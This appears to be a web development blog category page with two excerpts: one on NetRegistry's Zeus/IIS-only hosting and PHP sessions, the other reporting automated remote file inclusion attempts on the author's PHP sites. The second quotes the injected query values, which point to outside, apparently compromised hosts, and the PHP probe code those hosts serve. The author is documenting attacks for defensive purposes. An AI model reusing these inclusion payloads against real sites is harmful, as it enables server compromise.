Category: Web Development

NetRegistry Hosting – Only Zeus or IIS!

It looks like NetRegistry only has Zeus and IIS hosting accounts. So any apache thingeys like mod_rewrite wont work. (Zeus has it’s own mod_rewrite sorta thing, which may or may not be compatible with your php scripts) Also you will need to set you own custom PHP temporary session directory to get PHP sessions working […]

Catching and Preventing echo md5(“just_a_test”); exploit attempts

Have been noticing LOTS of automated explot attempts recently across my small portfolio of php sites. The bots are replacing script.php?id=4 calls with urls like: script.php?id=http://concorduae.com/oldtaifgate/articles/qozevuc/gofadur/andscript.php?id=http://mslayouts.ws/icons/administrator/components/com_menus/aruyi/iyuxuyi/ All these landing pages have: <?php echo md5(“just_a_test”);?> on them. If you have a browse around these obviously hacked sites there is some other interesting code. eg: http://concorduae.com/oldtaifgate/articles/qozevuc/ im […]